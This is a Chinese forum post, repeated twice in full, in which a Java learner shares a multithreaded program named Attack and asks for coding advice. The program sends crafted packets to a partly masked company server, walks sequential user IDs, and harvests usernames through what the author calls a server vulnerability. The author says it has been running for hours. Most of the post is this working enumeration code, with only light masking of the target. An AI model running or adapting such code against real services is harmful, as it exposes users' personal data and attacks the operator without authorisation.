由于Java刚刚自学到String这部分
昨天想写个多线程探测的东东
于是用了我玩过多年的易语言
结果一整天,怎么改怎么崩溃
用几分钟就崩溃了
最后安装了OD,在崩溃后附加调试
发现崩溃的位置是易语言的TCP客户端库里调用的socket函数
原来易语言的库到了多线程会不安全
当时很晚了,就睡了

今早用Java重写了一份,涉及到socket的部分都是去网上查的用法
花了三四个小时吧,整出来了个小程序,挂了七八个小时了,依旧很稳
这个程序用于探测一个服务器的漏洞,为了防止对该公司造成损失,部分代码用"*"隐去
以下是全部代码,IO流以及Socket部分之前没接触过,所以可能写的不大好
希望大家能给个建议喵~~

1. package tk.cat73.****;
   
2. 
   
3. import java.io.InputStream;
   
4. import java.io.OutputStream;
   
5. import java.net.InetAddress;
   
6. import java.net.Socket;
   
7. import java.util.concurrent.locks.*;
   
8. 
   
9. class Attack**** implements Runnable {
   
10.         private final int THREAD_WAIT;
    
11.         private long currentId;
    
12. 
    
13.         private ReentrantLock lock = new ReentrantLock();
    
14. 
    
15.         Attack****(int threadWait, long startId) {
    
16.                 THREAD_WAIT = threadWait;
    
17.                 currentId = startId;
    
18. //                try {
    
19. //                        System.out.println(getUserInfo(41333*****L));
    
20. //                } catch (Exception e) {
    
21. //                        // TODO Auto-generated catch block
    
22. //                        e.printStackTrace();
    
23. //                }
    
24.         }
    
25. 
    
26.         @SuppressWarnings("static-access")
    
27.         public void run() {
    
28.                 while (true) {
    
29.                         long thisId = getId();
    
30. 
    
31.                         try {
    
32.                                 String info = getUserInfo(thisId);
    
33.                                 if(!info.isEmpty())
    
34.                                         System.out.println(info);
    
35.                         } catch (Exception e) {
    
36.                         }
    
37. 
    
38.                         if(thisId % 1000 == 0)
    
39.                                 System.out.println("最新完成:" + thisId);
    
40.                         
    
41.                         try {
    
42.                                 Thread.currentThread().sleep(THREAD_WAIT);
    
43.                         } catch (InterruptedException e) {
    
44.                         }
    
45.                 }
    
46.         }
    
47. 
    
48.         private long getId() {
    
49.                 lock.lock();
    
50.                 long thisId = currentId;
    
51.                 currentId++;
    
52.                 lock.unlock();
    
53.                 return thisId;
    
54.         }
    
55. 
    
56.         private String getUserInfo(long id) throws Exception {
    
57.                 byte[] recvPackage = getServerRecv(id);
    
58.                 return recvPackageToUserInfo(recvPackage);
    
59.         }
    
60. 
    
61.         private String recvPackageToUserInfo(byte[] recvPackage) {
    
62.                 String userInfo = "userid:";
    
63.                 long userId = byte4ToInt(recvPackage, 20);
    
64.                 userInfo += userId;
    
65.                 userInfo += " name:";
    
66. 
    
67.                 int index = 28;
    
68.                 while (recvPackage[index++] != 0)
    
69.                         ;
    
70.                 String userName = new String(recvPackage, 28, index - 28 - 1);
    
71.                 userInfo += userName;
    
72.                 userInfo += "\n";
    
73.                 if(userName.trim().equals("")){
    
74.                         return "";
    
75.                 } else {
    
76.                         return userInfo;
    
77.                 }
    
78.         }
    
79. 
    
80.         public long byte4ToInt(byte[] bytes, int off) {
    
81.                 int b0 = bytes[off] & 0xFF;
    
82.                 int b1 = bytes[off + 1] & 0xFF;
    
83.                 int b2 = bytes[off + 2] & 0xFF;
    
84.                 int b3 = bytes[off + 3] & 0xFF;
    
85.                 long l = ((b3 << 24) | (b2 << 16) | (b1 << 8) | b0) & 0xFFFFFFFFL;
    
86. 
    
87.                 return l;
    
88.         }
    
89. 
    
90.         private byte[] getServerRecv(long id) throws Exception {
    
91.                 try {
    
92.                         Socket s = new Socket(InetAddress.getByName("221.***.***.***"), 3***5);
    
93.                         OutputStream os = s.getOutputStream();
    
94.                         InputStream is = s.getInputStream();
    
95.                         byte[] sendPackage = getSendPackage(id);
    
96.                         os.write(sendPackage);
    
97. 
    
98.                         byte[] recvPackage = new byte[58];
    
99.                         is.read(recvPackage, 0, 58);
    
100.                         os.close();
     
101.                         is.close();
     
102.                         s.close();
     
103.                         return recvPackage;
     
104.                 } catch (Exception e) {
     
105.                         e.printStackTrace();
     
106.                         throw new Exception("与服务器交互出现错误");
     
107.                 }
     
108.         }
     
109. 
     
110.         private byte[] getSendPackage(long id) {
     
111.                 byte[] sendPackage = new byte[24];
     
112.                 // 整包长度
     
113.                 sendPackage[0] = 24;
     
114.                 sendPackage[1] = 0;
     
115.                 sendPackage[2] = 0;
     
116.                 sendPackage[3] = 0;
     
117. 
     
118.                 // 未知,疑似版本号
     
119.                 sendPackage[4] = 1;
     
120.                 sendPackage[5] = 0;
     
121.                 sendPackage[6] = 0;
     
122.                 sendPackage[7] = 0;
     
123. 
     
124.                 sendPackage[8] = 0;
     
125.                 sendPackage[9] = 0;
     
126.                 sendPackage[10] = 0;
     
127.                 sendPackage[11] = 0;
     
128. 
     
129.                 sendPackage[12] = 0;
     
130.                 sendPackage[13] = 0;
     
131.                 sendPackage[14] = 0;
     
132.                 sendPackage[15] = 0;
     
133. 
     
134.                 sendPackage[16] = (byte) (id & 0xff);
     
135.                 sendPackage[17] = (byte) ((id & 0xff00) >> 8);
     
136.                 sendPackage[18] = (byte) ((id & 0xff0000) >> 16);
     
137.                 sendPackage[19] = (byte) ((id & 0xff000000) >> 24);
     
138. 
     
139.                 sendPackage[20] = 0;
     
140.                 sendPackage[21] = 0;
     
141.                 sendPackage[22] = 0;
     
142.                 sendPackage[23] = 0;
     
143. 
     
144.                 return sendPackage;
     
145.         }
     
146. }
     
147. 
     
148. public class Attack{
     
149.         public static void start() {
     
150.                 int threadCount = 10;
     
151.                 int threadWait = 100;
     
152.                 long startId = 41332*****L;
     
153.                 //String serverIP = "221.***.***.***";
     
154.                 //int serverPort = 3***5;
     
155.                 Attack**** att = new Attack****(threadWait, startId);
     
156.                
     
157.                 Thread[] t = new Thread[threadCount];
     
158.                 for(int i = 0; i < threadCount; i++){
     
159.                         t[i] = new Thread(att);
     
160.                         t[i].start();
     
161.                 }
     
162.         }
     
163. }

复制代码

感觉写了这么个小项目之后很好的复习了下以往学过的东西
黑马的自学视频里的实际项目还是太少,基本都是针对某一个问题做练习题的感觉
也不知道是不是我个人的问题,如果经常有些小项目做,我就会一直把精力高度集中在学习上
而要是只看知识点,就有点想睡觉的意思,学进去要好久
你们会不会酱紫捏?

由于Java刚刚自学到String这部分
昨天想写个多线程探测的东东
于是用了我玩过多年的易语言
结果一整天,怎么改怎么崩溃
用几分钟就崩溃了
最后安装了OD,在崩溃后附加调试
发现崩溃的位置是易语言的TCP客户端库里调用的socket函数
原来易语言的库到了多线程会不安全
当时很晚了,就睡了

今早用Java重写了一份,涉及到socket的部分都是去网上查的用法
花了三四个小时吧,整出来了个小程序,挂了七八个小时了,依旧很稳
这个程序用于探测一个服务器的漏洞,为了防止对该公司造成损失,部分代码用"*"隐去
以下是全部代码,IO流以及Socket部分之前没接触过,所以可能写的不大好
希望大家能给个建议喵~~

1. package tk.cat73.****;
   
2. 
   
3. import java.io.InputStream;
   
4. import java.io.OutputStream;
   
5. import java.net.InetAddress;
   
6. import java.net.Socket;
   
7. import java.util.concurrent.locks.*;
   
8. 
   
9. class Attack**** implements Runnable {
   
10.         private final int THREAD_WAIT;
    
11.         private long currentId;
    
12. 
    
13.         private ReentrantLock lock = new ReentrantLock();
    
14. 
    
15.         Attack****(int threadWait, long startId) {
    
16.                 THREAD_WAIT = threadWait;
    
17.                 currentId = startId;
    
18. //                try {
    
19. //                        System.out.println(getUserInfo(41333*****L));
    
20. //                } catch (Exception e) {
    
21. //                        // TODO Auto-generated catch block
    
22. //                        e.printStackTrace();
    
23. //                }
    
24.         }
    
25. 
    
26.         @SuppressWarnings("static-access")
    
27.         public void run() {
    
28.                 while (true) {
    
29.                         long thisId = getId();
    
30. 
    
31.                         try {
    
32.                                 String info = getUserInfo(thisId);
    
33.                                 if(!info.isEmpty())
    
34.                                         System.out.println(info);
    
35.                         } catch (Exception e) {
    
36.                         }
    
37. 
    
38.                         if(thisId % 1000 == 0)
    
39.                                 System.out.println("最新完成:" + thisId);
    
40.                         
    
41.                         try {
    
42.                                 Thread.currentThread().sleep(THREAD_WAIT);
    
43.                         } catch (InterruptedException e) {
    
44.                         }
    
45.                 }
    
46.         }
    
47. 
    
48.         private long getId() {
    
49.                 lock.lock();
    
50.                 long thisId = currentId;
    
51.                 currentId++;
    
52.                 lock.unlock();
    
53.                 return thisId;
    
54.         }
    
55. 
    
56.         private String getUserInfo(long id) throws Exception {
    
57.                 byte[] recvPackage = getServerRecv(id);
    
58.                 return recvPackageToUserInfo(recvPackage);
    
59.         }
    
60. 
    
61.         private String recvPackageToUserInfo(byte[] recvPackage) {
    
62.                 String userInfo = "userid:";
    
63.                 long userId = byte4ToInt(recvPackage, 20);
    
64.                 userInfo += userId;
    
65.                 userInfo += " name:";
    
66. 
    
67.                 int index = 28;
    
68.                 while (recvPackage[index++] != 0)
    
69.                         ;
    
70.                 String userName = new String(recvPackage, 28, index - 28 - 1);
    
71.                 userInfo += userName;
    
72.                 userInfo += "\n";
    
73.                 if(userName.trim().equals("")){
    
74.                         return "";
    
75.                 } else {
    
76.                         return userInfo;
    
77.                 }
    
78.         }
    
79. 
    
80.         public long byte4ToInt(byte[] bytes, int off) {
    
81.                 int b0 = bytes[off] & 0xFF;
    
82.                 int b1 = bytes[off + 1] & 0xFF;
    
83.                 int b2 = bytes[off + 2] & 0xFF;
    
84.                 int b3 = bytes[off + 3] & 0xFF;
    
85.                 long l = ((b3 << 24) | (b2 << 16) | (b1 << 8) | b0) & 0xFFFFFFFFL;
    
86. 
    
87.                 return l;
    
88.         }
    
89. 
    
90.         private byte[] getServerRecv(long id) throws Exception {
    
91.                 try {
    
92.                         Socket s = new Socket(InetAddress.getByName("221.***.***.***"), 3***5);
    
93.                         OutputStream os = s.getOutputStream();
    
94.                         InputStream is = s.getInputStream();
    
95.                         byte[] sendPackage = getSendPackage(id);
    
96.                         os.write(sendPackage);
    
97. 
    
98.                         byte[] recvPackage = new byte[58];
    
99.                         is.read(recvPackage, 0, 58);
    
100.                         os.close();
     
101.                         is.close();
     
102.                         s.close();
     
103.                         return recvPackage;
     
104.                 } catch (Exception e) {
     
105.                         e.printStackTrace();
     
106.                         throw new Exception("与服务器交互出现错误");
     
107.                 }
     
108.         }
     
109. 
     
110.         private byte[] getSendPackage(long id) {
     
111.                 byte[] sendPackage = new byte[24];
     
112.                 // 整包长度
     
113.                 sendPackage[0] = 24;
     
114.                 sendPackage[1] = 0;
     
115.                 sendPackage[2] = 0;
     
116.                 sendPackage[3] = 0;
     
117. 
     
118.                 // 未知,疑似版本号
     
119.                 sendPackage[4] = 1;
     
120.                 sendPackage[5] = 0;
     
121.                 sendPackage[6] = 0;
     
122.                 sendPackage[7] = 0;
     
123. 
     
124.                 sendPackage[8] = 0;
     
125.                 sendPackage[9] = 0;
     
126.                 sendPackage[10] = 0;
     
127.                 sendPackage[11] = 0;
     
128. 
     
129.                 sendPackage[12] = 0;
     
130.                 sendPackage[13] = 0;
     
131.                 sendPackage[14] = 0;
     
132.                 sendPackage[15] = 0;
     
133. 
     
134.                 sendPackage[16] = (byte) (id & 0xff);
     
135.                 sendPackage[17] = (byte) ((id & 0xff00) >> 8);
     
136.                 sendPackage[18] = (byte) ((id & 0xff0000) >> 16);
     
137.                 sendPackage[19] = (byte) ((id & 0xff000000) >> 24);
     
138. 
     
139.                 sendPackage[20] = 0;
     
140.                 sendPackage[21] = 0;
     
141.                 sendPackage[22] = 0;
     
142.                 sendPackage[23] = 0;
     
143. 
     
144.                 return sendPackage;
     
145.         }
     
146. }
     
147. 
     
148. public class Attack{
     
149.         public static void start() {
     
150.                 int threadCount = 10;
     
151.                 int threadWait = 100;
     
152.                 long startId = 41332*****L;
     
153.                 //String serverIP = "221.***.***.***";
     
154.                 //int serverPort = 3***5;
     
155.                 Attack**** att = new Attack****(threadWait, startId);
     
156.                
     
157.                 Thread[] t = new Thread[threadCount];
     
158.                 for(int i = 0; i < threadCount; i++){
     
159.                         t[i] = new Thread(att);
     
160.                         t[i].start();
     
161.                 }
     
162.         }
     
163. }

复制代码

感觉写了这么个小项目之后很好的复习了下以往学过的东西
黑马的自学视频里的实际项目还是太少,基本都是针对某一个问题做练习题的感觉
也不知道是不是我个人的问题,如果经常有些小项目做,我就会一直把精力高度集中在学习上
而要是只看知识点,就有点想睡觉的意思,学进去要好久
你们会不会酱紫捏?